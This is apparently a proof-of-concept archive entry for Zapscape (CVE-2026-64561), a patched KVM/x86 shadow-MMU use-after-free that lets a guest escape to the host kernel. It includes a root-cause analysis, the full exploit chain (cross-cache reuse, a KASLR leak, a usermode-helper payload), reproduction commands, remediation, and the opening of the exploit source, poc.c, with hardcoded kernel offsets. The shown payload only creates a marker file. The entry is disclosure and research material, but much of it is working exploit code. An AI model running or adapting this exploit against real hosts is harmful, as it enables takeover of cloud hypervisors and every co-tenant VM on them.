PoC Archive PoC Archive
CVE-2026-64561 category: binary CVSS 8.8 (HIGH)
Patched

Zapscape — KVM/x86 Shadow-MMU Recursive-Zap Guest-to-Host Escape (CVE-2026-64561)

Published: 2026-08-09 • Researcher: Hyunwoo Kim (@v4bel)

Target software Linux kernel, KVM/x86 shadow-MMU (nested EPT/NPT shadowing) — arch/x86/kvm/mmu/mmu.c and arch/x86/kvm/mmu/paging_tmpl.h
Affected versions From commit f95eec9bed76 (2020-07-08) through the fix 2abd5287f083 (2026-07-21). Per NVD the stable fixes land in 6.6.148, 6.12.101, 6.18.42, 7.1.6 and 7.2-rc5. Public demo runs against Linux 7.1.3.
Status Patched
Severity High · CVSS 8.8
CVSS 8.8/10
Severity
High
CVE
CVE-2026-64561
Category
binary
Affected product
Linux kernel, KVM/x86 shadow-MMU (nested EPT/NPT shadowing) — arch/x86/kvm/mmu/mmu.c and arch/x86/kvm/mmu/paging_tmpl.h
Affected versions
From commit f95eec9bed76 (2020-07-08) through the fix 2abd5287f083 (2026-07-21). Per NVD the stable fixes land in 6.6.148, 6.12.101, 6.18.42, 7.1.6 and 7.2-rc5. Public demo runs against Linux 7.1.3.
Disclosed
2026-08-09
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-08-09
Last Updated2026-08-06
Author / ResearcherHyunwoo Kim (@v4bel)
CVE / AdvisoryCVE-2026-64561
Categorybinary
SeverityHigh
CVSS Score8.8 (CVSSv3.1, kernel.org CNA: AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
StatusPatched
Tagslinux-kernel, kvm, x86, shadow-mmu, nested-virtualization, svm, npt, ept, guest-to-host-escape, vm-escape, use-after-free, CWE-416, cross-cache, kaslr-bypass, usermode-helper, virtualization
Relatedpocs/binary/2026-07-27_cve-2026-46316-itscape-kvm-arm64-vgic-its-escape/ (same author; ITScape is entry one of the “KVM Escape Trilogy”: ITScape / Januscape CVE-2026-53359 / Zapscape). Zapscape shares the shadow-MMU root cause family with Januscape but is a distinct bug.

Affected Target

FieldValue
Software / SystemLinux kernel, KVM/x86 shadow-MMU (nested EPT/NPT shadowing) — arch/x86/kvm/mmu/mmu.c and arch/x86/kvm/mmu/paging_tmpl.h
Versions AffectedFrom commit f95eec9bed76 (2020-07-08) through the fix 2abd5287f083 (2026-07-21). Per NVD the stable fixes land in 6.6.148, 6.12.101, 6.18.42, 7.1.6 and 7.2-rc5. Public demo runs against Linux 7.1.3.
Language / PlatformC, Linux kernel, x86_64, KVM (in-kernel emulation — independent of QEMU userspace). Demo targets AMD SVM/NPT; Intel is affected under an extra EPT constraint (see below).
Authentication RequiredYes — requires guest kernel (L1) privilege inside an otherwise unprivileged guest VM. On distros where /dev/kvm is world-writable (e.g. RHEL, 0666) it also serves as a local privilege escalation for an unprivileged host user.
Network Access RequiredLocal only — no network needed; entirely guest-VM-local nested-virtualization activity against the host KVM. The bundled qemu.sh boots with -nic none (no guest networking at all).

Summary

Zapscape (CVE-2026-64561) is a use-after-free in the KVM/x86 shadow MMU that lets a guest which uses nested virtualization escape to the host and run commands as the host kernel (root). Using guest-side actions alone, an attacker makes KVM recursively zap a shadow page that is still pinned as a root during MMU page-quota reclaim; KVM then keeps servicing the fault under a root that has already become invalid, an invalid child enters the active MMU page list, the same list link is attached to two lists at once and then freed, and a dangling link plus a post-free write result. Because the bug lives in in-kernel KVM (not QEMU), it is triggered independently of the VMM emulation code and threatens multi-tenant x86 clouds — including providers that ship their own virtualization stack — that expose nested virtualization to untrusted guests.

The public PoC is explicitly reproduction / demonstration code, not a weaponised exploit. It reproduces the full chain on top of QEMU TCG with no guest networking; porting it to a real cloud would require moving the L1 actions into a guest kernel module and re-tuning to the host kernel kconfig and VMM memory backend.

Vulnerability Details

Root Cause

x86 KVM shadows nested EPT/NPT with software struct kvm_mmu_page objects. In the vulnerable kernel the shadow page-fault path takes the MMU lock, checks whether the current root has gone stale, secures the shadow-page quota, and then fetches — in that order:

C source
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    r = RET_PF_RETRY;
    write_lock(&vcpu->kvm->mmu_lock);

    if (is_page_fault_stale(vcpu, fault))   // [5] checks the root as it was when the fault started
        goto out_unlock;

    r = make_mmu_pages_available(vcpu);     // [6] runs quota reclaim AFTER the stale check
    if (r)
        goto out_unlock;
    r = FNAME(fetch)(vcpu, fault, &walker); // [7] keeps fetching under the same (now maybe invalid) root

The decisive ordering flaw: is_page_fault_stale() at [5] runs before make_mmu_pages_available() at [6], but quota reclaim at [6] can itself recursively invalidate the current root, and [7] fetches again without re-checking. Compounding it, the recursive zap of a nested-TDP child (while unlinking its parent SPTE) has no child->root_count guard:

C source
1
2
3
4
            if (tdp_enabled && invalid_list &&
                child->role.guest_mode &&
                !atomic_long_read(&child->parent_ptes.val))
                return kvm_mmu_prepare_zap_page(kvm, child, invalid_list); // [9] no root_count check

The top-level quota walker does skip pinned roots (if (sp->root_count) continue;), so it never picks the pinned root X directly. But once one kvm_mmu_page is simultaneously a child of one nested page table and the root of another (the guest aliases the same GFN/level/role in two page-table hierarchies so mmu_alloc_root() finds the existing header and bumps root_count), reclaim reaches X recursively through its parent. __kvm_mmu_prepare_zap_page() then list_del()s X from the active list and marks sp->role.invalid = 1, but X is not freed because a root reference remains. The still-running fault, having already passed the stale check, keeps fetching under invalid X; kvm_mmu_child_role() copies the parent role without clearing invalid, so the new child C inherits the invalid bit yet is inserted into active_mmu_pages like a normal member. C now has an invalid role while sitting on the active list, so a later rootless prepare uses list_add() (not list_move()) to also place C on the invalid list — double list membership. The commit path frees C via kmem_cache_free(mmu_page_header_cache, sp) while the active list still points at C.link, leaving a dangling link. The next list_add() at the active-list head then dereferences freed C and performs a post-free write of a kernel pointer into the freed object.

Attack Vector

Entirely guest-driven from L1 kernel context, no host/QEMU cooperation, no network:

  1. Alias one shadow page as both child and pinned root. On AMD, L1 builds a level-2 child X under a long-mode NPT and then makes a PAE NPT root use the same GFN/level/access/guest-mode role; mmu_alloc_root() finds X and increments root_count. On Intel the same alias requires that both EPT page-walk length 4 and 5 be exposed to L1 (a level-4 PWL5 child reused as a level-4 PWL4 root); AMD has no such constraint.
  2. Drive quota reclaim to invalidate X while a fault fetches under it, producing the invalid child C on the active list, then free C via the two-stage active-list/invalid-list double membership. The PoC carefully fixes fault order, MMU-header slab refill, and write-flooding-triggered prepares so the freed 184-byte header slab is returned to the page allocator on the same vCPU.
  3. Two guest-driven cross-caches. A 518 MiB guest_memfd region (GUEST_MEMFD_FLAG_MMAP | GUEST_MEMFD_FLAG_INIT_SHARED) is faulted so the just-freed SLUB page (from the dedicated kvm_mmu_page_header cache, 184-byte objects, 22 per order-0 slab) is reallocated as a guest-authored folio. Stage 1 locates freed C and the active_mmu_pages head; Stage 2 obtains an independent guest-controlled page N.
  4. KASLR leak. Rebuilding C inside a guest page turns its list_head/hash_link fields into a controlled __list_del() write primitive. The chain corrupts struct kvm.n_max_mmu_pages (to stop further quota reclaim), then interprets the pm_notifier region as a fake MMU header to leak the address of rcu_pm_notify_nb, from which the guest computes the KASLR slide and re-derives log_wait, srcu_delay_timer, call_usermodehelper_exec_work, etc.
  5. Usermode-helper trigger. In page N the guest builds a wait_queue_entry (callback srcu_delay_timer) and an overlapping subprocess_info whose work function is call_usermodehelper_exec_work, path /bin/sh, mode UMH_WAIT_PROC. Linking the wait entry into the global log_wait and issuing MONITOR + an x2APIC LOWEST ICR causes the kernel printk wake to walk log_wait, queue the work, and a kworker runs /bin/sh -c "umask 022; : > /Zapscape" after commit_creds(prepare_kernel_cred(...)).

Impact

Full guest-to-host escape with host kernel-level code execution, triggerable by a guest-rooted tenant with no host cooperation and no network. On a successful run the host filesystem gains /Zapscape, owned by uid 0, mode 0644 — a benign proof marker standing in for arbitrary root code execution on the host. The same primitive can panic the host (DoS every co-tenant VM) or take over the host and all guests on it (RCE). Because the flaw is in in-kernel KVM, QEMU-side sandboxing (seccomp, privilege separation) does not mitigate it. On distros where /dev/kvm is 0666, an unprivileged host user can use the same bug as a local root escalation (and more stably, since host-side VMM ioctls are then available).

Environment / Lab Setup

Output
L0 (escape target): Linux 7.1.3 + KVM_AMD, x86_64 with AMD SVM/NPT, emulated by QEMU TCG
                    (-cpu EPYC,+svm,+npt -accel tcg,thread=multi). This is the "host" the
                    escape lands on. Running under TCG makes the lab safe and disposable.
  L1: the guest the PoC creates via /dev/kvm. Aliases one shadow page as both child and
      pinned root (long -> PAE), then escalates the UAF into L0 kernel code-exec.
    L2: the guest L1 VMRUNs; its memory touches drive L0 quota reclaim -> recursive zap.
Guest config: 518 MiB guest_memfd (MMAP | INIT_SHARED), 2 vCPUs (BSP + AP), KVM irqchip + x2APIC.
Tools: gcc (static, pthread), BusyBox initramfs, QEMU v9.2.0 or later.
Demo kconfig (like Ubuntu): CONFIG_DEBUG_LIST / CONFIG_LIST_HARDENED /
                            CONFIG_BUG_ON_DATA_CORRUPTION all DISABLED.

Setup Steps

Safety: build and read only. Never run this against a host you are not authorised to test. The escape lands on the host running KVM.

Shell script
1
2
3
gcc -O2 -g -static -pthread poc.c -o poc

./qemu.sh bzImage initramfs.cpio.gz

The bundled launcher is short and explicit about the safe, no-networking demo posture:

Shell script
1
2
3
4
5
6
exec "$QEMU" \
    -no-user-config \
    -m 2G -smp 2 -cpu EPYC,+svm,+npt -accel tcg,thread=multi \
    -kernel "$KERNEL" -initrd "$INITRD" \
    -append "console=ttyS0 panic=-1 oops=panic kvm_amd.nested=1 kvm_amd.npt=1 rdinit=/init" \
    -nographic -monitor none -nic none -no-reboot

Proof of Concept

See poc.c (~6,337 lines, a self-contained /dev/kvm VMM + guest code emitter), qemu.sh, kconfig, and assets/write-up.md (~50 KB technical writeup) in this folder — mirrored byte-for-byte from V4bel/Zapscape. The upstream README is preserved as upstream-README.md.

Step-by-Step Reproduction

  1. Boot the vulnerable L0 host kernel under QEMU TCG

    Shell script
    1
    
    ./qemu.sh bzImage initramfs.cpio.gz
  2. Run the PoC from the unprivileged (uid 65534) guest shell — it opens /dev/kvm, builds the L1 VM and its L2, and drives the whole chain with guest instructions after the first KVM_RUN:

    Shell script
    1
    
    ./poc
  3. Verify the escape — success creates /Zapscape on the HOST (L0) filesystem, owned by root:

    Shell script
    1
    
    ls -la /Zapscape

Exploit Code

The alias step that turns one header into both a child and a pinned root (mmu_alloc_root() re-finds X and bumps root_count):

C source
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
static hpa_t mmu_alloc_root(struct kvm_vcpu *vcpu, gfn_t gfn, int quadrant, u8 level)
{
    union kvm_mmu_page_role role = vcpu->arch.mmu->root_role;
    struct kvm_mmu_page *sp;

    role.level = level;
    role.quadrant = quadrant;
    /* ... */
    sp = kvm_mmu_get_shadow_page(vcpu, gfn, role);  // [17] finds existing child X
    ++sp->root_count;                               // [18] now X is a pinned root too
    return __pa(sp->spt);
}

The controlled write primitive: once C is rebuilt inside a guest_memfd page, KVM deleting its manipulated list_head performs two attacker-chosen pointer writes —

C source
1
2
3
4
5
static inline void __list_del(struct list_head *prev, struct list_head *next)
{
    next->prev = prev;                // [45] writes prev-value to next+8
    WRITE_ONCE(prev->next, next);     // [46] writes next-value to *prev
}

The final payload built in page N (harmless proof marker — creates an empty root-owned file, no shell, no download):

Output
1
2
3
4
5
N + 0x000  wait_queue_entry            (callback: srcu_delay_timer)
N + 0x028  subprocess_info             (work func: call_usermodehelper_exec_work)
N + 0x100  "/bin/sh"
N + 0x120  "-c"
N + 0x140  "umask 022; : > /Zapscape"

Expected Output

Output
 /$$$$$$$$  /$$$$$$  /$$$$$$$
|_____ $$  /$$__  $$| $$__  $$
     /$$/ | $$  \ $$| $$  \ $$
    /$$/  | $$$$$$$$| $$$$$$$/
   /$$/   | $$__  $$| $$____/
  /$$/    | $$  | $$| $$
 /$$$$$$$$| $$  | $$| $$
|________/|__/  |__/|__/

[+] /Zapscape created by the target KVM host kernel (owner uid=0, mode=0644).
[+] exploit completed - verify with: ls -la /Zapscape
zapscape(uid=65534)$ ls -la /Zapscape
-rw-r--r--    1 root     root             0 Jul 29 05:27 /Zapscape

Screenshots / Evidence

  • assets/demo.gif — upstream animated demo of the full run ending in /Zapscape on the host.
  • assets/write-up.md — the complete ~50 KB technical root-cause and exploit-chain writeup (mirrored unmodified).

Detection & Indicators of Compromise

Output

Remediation

ActionDetail
PatchApply mainline commit 2abd5287f083 (2026-07-21). It moves the stale-root check to run after make_mmu_pages_available(); if quota reclaim invalidated the current root, the fault restarts with RET_PF_RETRY instead of continuing to map/fetch. Fix is present in Linux 6.6.148, 6.12.101, 6.18.42, 7.1.6, and 7.2-rc5.
WorkaroundNone short of the patch — the bug is purely guest-triggerable in-kernel KVM with no QEMU dependency, so VMM sandboxing does not help. Enabling CONFIG_LIST_HARDENED / CONFIG_BUG_ON_DATA_CORRUPTION converts the exploit into a host DoS rather than a clean escape, but does not close the bug. Until patched, avoid exposing nested virtualization to untrusted guests; on Intel, not exposing both EPT PWL4 and PWL5 to L1 removes the alias precondition.
VerificationConfirm the host kernel contains 2abd5287f083 (arch/x86/kvm/mmu/mmu.c + paging_tmpl.h) via git log or the distro changelog / stable branch version.

References

Notes

Verified this session by reading the full source directly (not on the strength of the README): the entire ~6,337-line poc.c VMM/guest-emitter and the ~50 KB assets/write-up.md root-cause writeup were read, and the root cause, patch commit (2abd5287f083), affected range, fixed versions, and disclosure timeline were cross-corroborated against the NVD record (CVSS 8.8, published 2026-08-04) and the upstream write-up. Both mirrored files were verified byte-identical against a second, independent fresh clone via diff; poc.c sha256 5e76ee0ee92f458bf109b469adbf90567c14f1a50e0b48f8daec80cab8378cf8, assets/write-up.md sha256 45a4c2e328dd1d371574d3afb8fdf9b6748f34070e131240078ba4a88c4d788b, qemu.sh sha256 e3a51a513e00607e97952caf5666d54d1fa2a2d75b125282bb8bc1c8042b87bf.

Malware screen — clean. No obfuscated payload that gets executed, no remote downloader, no credential exfiltration, no miner, no unexpected committed binaries (only the expected assets/demo.gif, assets/tux.png, and three sym-*.svg images), and no setup.py/Makefile/install-time side effects. poc.c contains no socket/connect/getaddrinfo/curl/wget calls and no embedded URLs; its only “command execution” is the intended, benign host-side proof /bin/sh -c "umask 022; : > /Zapscape" (creates an empty file). qemu.sh uses -accel tcg and -nic none, i.e. software emulation with no guest networking — consistent with the author’s statement that this is reproduction/demonstration code, not a weaponised or cloud-ready exploit.

Author track record: Hyunwoo Kim (@v4bel on X, V4bel on GitHub since 2018, ~380 followers) disclosed responsibly — reported to security@kernel.org on 2026-07-11, Sean Christopherson wrote the fix on 2026-07-13, Paolo Bonzini posted it to lore and it merged to mainline on 2026-07-21, submitted to linux-distros@vs.openwall.org under a 5-day embargo on 2026-08-01, CVE-2026-64561 assigned 2026-08-04, and the exploit + this writeup were published to oss-security on 2026-08-06 after the embargo expired. Zapscape is the third entry in the author’s “KVM Escape Trilogy” (ITScape / Januscape / Zapscape); it shares the shadow-MMU area with Januscape but is a separate bug with a different root cause.

WARNING — copycat / fake-installer repository. A separate account, aarif450/Zapscape (account created 2026-04-15, 0 followers), hosts a byte-identical poc.c (verified this session: same sha256 5e76ee0ee92f458bf109b469adbf90567c14f1a50e0b48f8daec80cab8378cf8) but replaces the README with a large “⬇️ DOWNLOAD ZAPSCAPE NOW” button linking to an empty /releases page, plus fake-installer social-engineering copy (“a friendly tool … a digital shield … Click the blue download button”) and a matching aarif450.github.io lure page. This is textbook fake-installer staging: legitimate research code used as cover while the download button is the intended payload channel. There is no released artifact behind the button today, but the staging is set up to serve one. Use only the V4bel upstream (github.com/V4bel/Zapscape); do not download anything from the aarif450 repository or its GitHub Pages site.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
/*
 * Guest-to-Host Escape in KVM/x86 (CVE-2026-64561)
 *
 * KVM x86 MMU mmu_page_zap_pte() recursive zap without a root_count guard -> active_mmu_pages use-after-free.
 *
 * Target: Linux x86_64, KVM AMD nested SVM/NPT before the recursive-zap root_count check.
 * Guest-side: gcc -O2 -g -static -pthread poc.c -o poc; run unprivileged in the guest; host gets /Zapscape as uid 0.
 *
 * Copyright (c) 2026 Hyunwoo Kim (@v4bel)
 */

#define SPARSE_PREFAULT_END 0x1fc00000u
#define SHIFT_LEAVES 8
_Static_assert((SPARSE_PREFAULT_END & 0x1fffffu) == 0,
	       "SMP sparse-prefault end must be 2MiB-aligned");
_Static_assert(0x20000000u - SPARSE_PREFAULT_END == 2u * 0x200000u,
	       "SMP reset branch must use the audited two-region count match");
#define POST_NPT_PML4 0x10467000u
#define DRAIN_LEAVES 510
#define H_GPA_BASE 0x0007d000u
#define G1_RELOC_TABLE 0x16000u
#define G1_RELOC_CODE 0x17000u
#define G1_RELOC_WAIT_CODE 0x18000u
#define G1_RELOC_POST_CODE 0x19000u
#define POC_MONITOR_CODE (G1_RELOC_WAIT_CODE + 0x200u)
#define POC_ACT_CODE (G1_RELOC_WAIT_CODE + 0x300u)
#define POC_ACT_SIZE 0x300u
#define POC_MONITOR_ENTERED (G1_MARKER + 173u)
#define POC_MONITOR_RETURNED (G1_MARKER + 174u)
#define HOST_MONITOR_ENTER_GPA POC_MONITOR_ENTERED
#define HOST_MONITOR_RETURN_TRAMPOLINE_GPA POC_MONITOR_CODE
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
#include <linux/kvm.h>
#ifndef GUEST_MEMFD_FLAG_MMAP
#define GUEST_MEMFD_FLAG_MMAP (1ULL << 0)
#define GUEST_MEMFD_FLAG_INIT_SHARED (1ULL << 1)
#endif
#define MSR_VM_HSAVE_PA 0xc0010117u
#define EFER_SVME (1u << 12)
#define EFER_LME (1u << 8)
#define G1_PAE_PDPT 0x0u
#define G1_PML4 0x1000u
#define G1_PDPT 0x2000u
#define G1_PD 0x3000u
#define G1_GDT 0x4000u
#define G1_GDTR 0x4f00u
#define G1_MARKER 0x4f20u
#define G1_HSAVE 0x5000u
#define G1_MSRPM 0x6000u
#define G1_IOPM 0x8000u
#define G1_PAE_PD 0xd000u
#define G1_CODE_A 0x10000u
#define G1_CODE_B 0x11000u
#define G1_SPRAY_CODE 0x12000u
#define G1_PREFLIGHT_END 0x13000u
#define G1_POST_CODE 0x1b000u
#define G1_HELPER_CODE 0x1c000u
#define G1_HELPER_CODE_SIZE 0x4000u
#define G1_VMCB 0x20000u
#define NPT_PML4 0x30000u
#define NPT_PDPT 0x31000u
#define NPT_PD 0x32000u
#define NPT_PT0 0x33000u
#define NPT_PAE 0x34000u
#define NPT_PD_MORE 0x35000u
#define NPT_PT_POOL 0x100000u
#define L2_CODE 0x40000u
#define L2_DATA 0x41000u
#define L2_QUOTA_BK 0x42000u
#define SPRAY_ARM (L2_DATA + 0x800u)
#define NPT_MAP_MAX 2047
#define SPRAY_START 0x1000000u
#define H_G1_HSAVE (H_GPA_BASE + 0x00000u)
#define H_G1_MSRPM (H_GPA_BASE + 0x01000u)
#define H_G1_IOPM (H_GPA_BASE + 0x03000u)
#define H_G1_VMCB (H_GPA_BASE + 0x06000u)
#define H_NPT_PML4 (H_GPA_BASE + 0x08000u)
#define H_NPT_PDPT (H_GPA_BASE + 0x09000u)
#define H_NPT_PD0 (H_GPA_BASE + 0x0a000u)
#define H_NPT_PD1 (H_GPA_BASE + 0x0b000u)
#define H_NPT_PT0 (H_GPA_BASE + 0x0c000u)
#define G_NPT_PML4 (H_GPA_BASE + 0x0d000u)
#define G_NPT_PDPT (H_GPA_BASE + 0x0e000u)
#define G_NPT_PD (H_GPA_BASE + 0x0f000u)
#define G_NPT_PT (H_GPA_BASE + 0x10000u)
#define H_L2_CODE (H_GPA_BASE + 0x20000u)
#define G_L2_CODE (H_GPA_BASE + 0x21000u)
#define H_L2_QUOTA_BK (H_GPA_BASE + 0x22000u)
#define G_NPT_PT1 (H_GPA_BASE + 0x23000u)
#define G_P1_L2_CODE (H_GPA_BASE + 0x24000u)
#define H_NPT_PT_POOL 0xa00000u
#define H_LEAVES 1001
#define H_INITIAL_LEAVES (H_LEAVES - SHIFT_LEAVES)
#define S_COUNT 10
#define S_NPT_BASE 0xe00000u
#define S_NPT_STRIDE 0x4000u
#define S_L2_CODE 0xe30000u
#define S_NPT_PML4(i) (S_NPT_BASE + (uint32_t)(i) * S_NPT_STRIDE)
#define S_NPT_PDPT(i) (S_NPT_PML4(i) + 0x1000u)
#define S_NPT_PD(i) (S_NPT_PML4(i) + 0x2000u)
#define S_NPT_PT(i) (S_NPT_PML4(i) + 0x3000u)
#define SHIFT_PD_BASE 0xe40000u
#define PHASE_B_PAE_ROOTS 3u
_Static_assert(
	PHASE_B_PAE_ROOTS == 3u,
	"the audited Linux 7.1.3 cache geometry requires three PAE roots");
#define POST_NPT_PDPT 0x79000u
#define POST_NPT_PD 0x7a000u
#define POST_NPT_PT 0x7b000u
#define POST_L2_CODE 0x7c000u
#define G_P1_NESTED_RIP 0x40000000u
#define KASLR_STATE (SPRAY_ARM + 0x100u)
#define KASLR_RECYCLE_PD 0x75000u
#define KASLR_RECYCLE_L2 0x76000u
#define KS_K_LO (KASLR_STATE + 0x00u)
#define KS_K_HI (KASLR_STATE + 0x04u)
#define KS_F_LO (KASLR_STATE + 0x08u)
#define KS_F_HI (KASLR_STATE + 0x0cu)
#define KS_N_GPA (KASLR_STATE + 0x10u)
#define KS_PASS_ARM (KASLR_STATE + 0x14u)
#define KS_PASS_EXIT (KASLR_STATE + 0x15u)
#define KS_PASS_REPAIR (KASLR_STATE + 0x16u)
#define KS_PASS_FREE (KASLR_STATE + 0x17u)
#define KS_STATUS (KASLR_STATE + 0x18u)
#define KS_EXPECT_LO (KASLR_STATE + 0x1cu)
#define KS_EXPECT_HI (KASLR_STATE + 0x20u)
#define KS_P_LO (KASLR_STATE + 0x24u)
#define KS_P_HI (KASLR_STATE + 0x28u)
#define KS_SLIDE (KASLR_STATE + 0x2cu)
#define KS_LOG_LO (KASLR_STATE + 0x30u)
#define KS_LOG_HI (KASLR_STATE + 0x34u)
#define KS_SRCU_LO (KASLR_STATE + 0x38u)
#define KS_SRCU_HI (KASLR_STATE + 0x3cu)
#define KS_UMH_LO (KASLR_STATE + 0x40u)
#define KS_UMH_HI (KASLR_STATE + 0x44u)
#define KS_TRACK_REQ (KASLR_STATE + 0x48u)
#define KS_TRACK_ACK (KASLR_STATE + 0x49u)
#define KS_M_READY (KASLR_STATE + 0x4au)
#define KS_E_READY (KASLR_STATE + 0x4bu)
#define KS_PAGING_OFF (KASLR_STATE + 0x4cu)
#define KS_C_HASH_LINKED (KASLR_STATE + 0x4du)
#define KS_QMAX_ORACLE (KASLR_STATE + 0x4eu)
#define KS_QMAX_C_REPAIRED (KASLR_STATE + 0x4fu)
#define KS_PAY_GPA (KASLR_STATE + 0x50u)
#define KS_PAY_HVA_LO (KASLR_STATE + 0x54u)
#define KS_PAY_HVA_HI (KASLR_STATE + 0x58u)
#define KS_ACTIVATION_ARM (KASLR_STATE + 0x5cu)
#define KS_SPLICE_READY (KASLR_STATE + 0x5du)
#define KS_WORK_QUEUED (KASLR_STATE + 0x5eu)
#define KS_ZERO_LO (KASLR_STATE + 0x64u)
#define KS_ZERO_HI (KASLR_STATE + 0x68u)
#define KS_C_PRE_E (KASLR_STATE + 0x6cu)
#define KS_UMH_COMPLETE (KASLR_STATE + 0x6du)
#define KS_WORK_NOOP_LO (KASLR_STATE + 0x70u)
#define KS_WORK_NOOP_HI (KASLR_STATE + 0x74u)
#define KS_EP_AUTOREMOVE_LO (KASLR_STATE + 0x78u)
#define KS_EP_AUTOREMOVE_HI (KASLR_STATE + 0x7cu)
#define KS_INIT_TASK_LO (KASLR_STATE + 0x80u)
#define KS_INIT_TASK_HI (KASLR_STATE + 0x84u)
#define KS_DISARM_STATUS (KASLR_STATE + 0x88u)
#define KS_UNLINK_ARM (KASLR_STATE + 0x89u)
#define KS_UNLINK_ICR (KASLR_STATE + 0x8au)
#define KS_UNLINK_DONE (KASLR_STATE + 0x8bu)
#define KHP_F 0x000u
#define KHP_W 0x028u
#define KHP_PATH 0x100u
#define KHP_ARG0 0x110u
#define KHP_ARG1 0x120u
#define KHP_SCRIPT 0x140u
#define KHP_ARGV 0x200u
#define KHP_ENVP 0x240u
#define KHP_COMPLETE 0x280u
#define KHP_SIZE 0x2d0u
#define KHP_SCRIPT_TEXT "umask 022; : > /Zapscape"
_Static_assert(KHP_SIZE <= 0x300u,
	       "N payload must not overwrite Q8's reciprocal slot at N+0x300");
_Static_assert(KS_UNLINK_DONE + 1u <= L2_QUOTA_BK,
	       "KASLR runtime state exceeds the L2 data page");
#define KVM_ACTIVE_HEAD_OFF 0x12b0u
#define KVM_PM_NOTIFIER_OFF 0x17e8u
#define KVM_NMAX_OFF 0x1290u
#define KVM_NMAX_PREV_OFF (KVM_NMAX_OFF - 8u)
#define KVM_PSEUDO_NODE_OFF (KVM_NMAX_OFF - 15u)
#define KVM_PSEUDO_ROLE_OFF (KVM_PSEUDO_NODE_OFF - 16u + 36u)
#define KVM_PSEUDO_FROM_H \
	((int32_t)KVM_PSEUDO_NODE_OFF - (int32_t)KVM_ACTIVE_HEAD_OFF)
#define KVM_F_FROM_H (KVM_PM_NOTIFIER_OFF - KVM_ACTIVE_HEAD_OFF)
_Static_assert(KVM_PSEUDO_NODE_OFF == 0x1281u && KVM_PSEUDO_ROLE_OFF == 0x1295u,
	       "Linux 7.1.3 pseudo-page geometry drifted");
_Static_assert(KVM_PSEUDO_FROM_H == -0x2f,
	       "Linux 7.1.3 pseudo-page hash delta drifted");
#define RCU_PM_NB_LINK 0xffffffff82f54c40ull
#define KASLR_IMAGE_MAX 0x40000000u
#define TARGET_ROLE_INVALID 0x0800u
#define TARGET_ROLE_DIRECT_L1 0x0081u
#define TARGET_ROLE_INVALID_DIRECT_L1 \
	(TARGET_ROLE_INVALID | TARGET_ROLE_DIRECT_L1)
#define EMPTY_ZERO_PAGE 0xffffffff83a24000ull
#define LOG_WAIT_HEAD 0xffffffff82f50998ull
#define SRCU_DELAY_TIMER 0xffffffff813eadb0ull
#define CALL_USERMODEHELPER_EXEC_WORK 0xffffffff81366be0ull
#define WORKQUEUE_NOOP 0xffffffff81823f00ull
#define EP_AUTOREMOVE_WAKE 0xffffffff81602250ull
#define INIT_TASK_SYMBOL 0xffffffff82e0ca00ull
#define WORK_STRUCT_NO_POOL_VALUE 0x000fffffffe00000ull
#define SPRAY1_END 0x04000000u
#define SPRAY2_START SPRAY1_END
#define SPRAY2_END 0x10000000u
#define SPRAY_GUEST_END SPRAY2_END
#define TARGET_GMEM_INDEX 0x161du
#define TARGET_PAGE_BASE (TARGET_GMEM_INDEX * 0x1000u)
#define TARGET_C_BASE (TARGET_GMEM_INDEX * 0x1000u + 0xf18u)
#define TARGET_P1_PTR (TARGET_C_BASE + 8u)
#define HOST_F_OFF 0x200u
#define HOST_HVA_LO (G1_MARKER + 96u)
#define HOST_HVA_HI (G1_MARKER + 100u)
#define SAFE_SPT_HVA_LO (G1_MARKER + 152u)
#define SAFE_SPT_HVA_HI (G1_MARKER + 156u)
#define INTERCEPT_HLT 120
#define INTERCEPT_VMRUN 128
#define INTERCEPT_VMMCALL 129
#define MAX_INTERCEPT 6
#define SVM_S (1u << 4)
#define SVM_P (1u << 7)
#define SVM_DB (1u << 10)
#define SVM_G (1u << 11)
struct __attribute__((packed)) vmcb_seg {
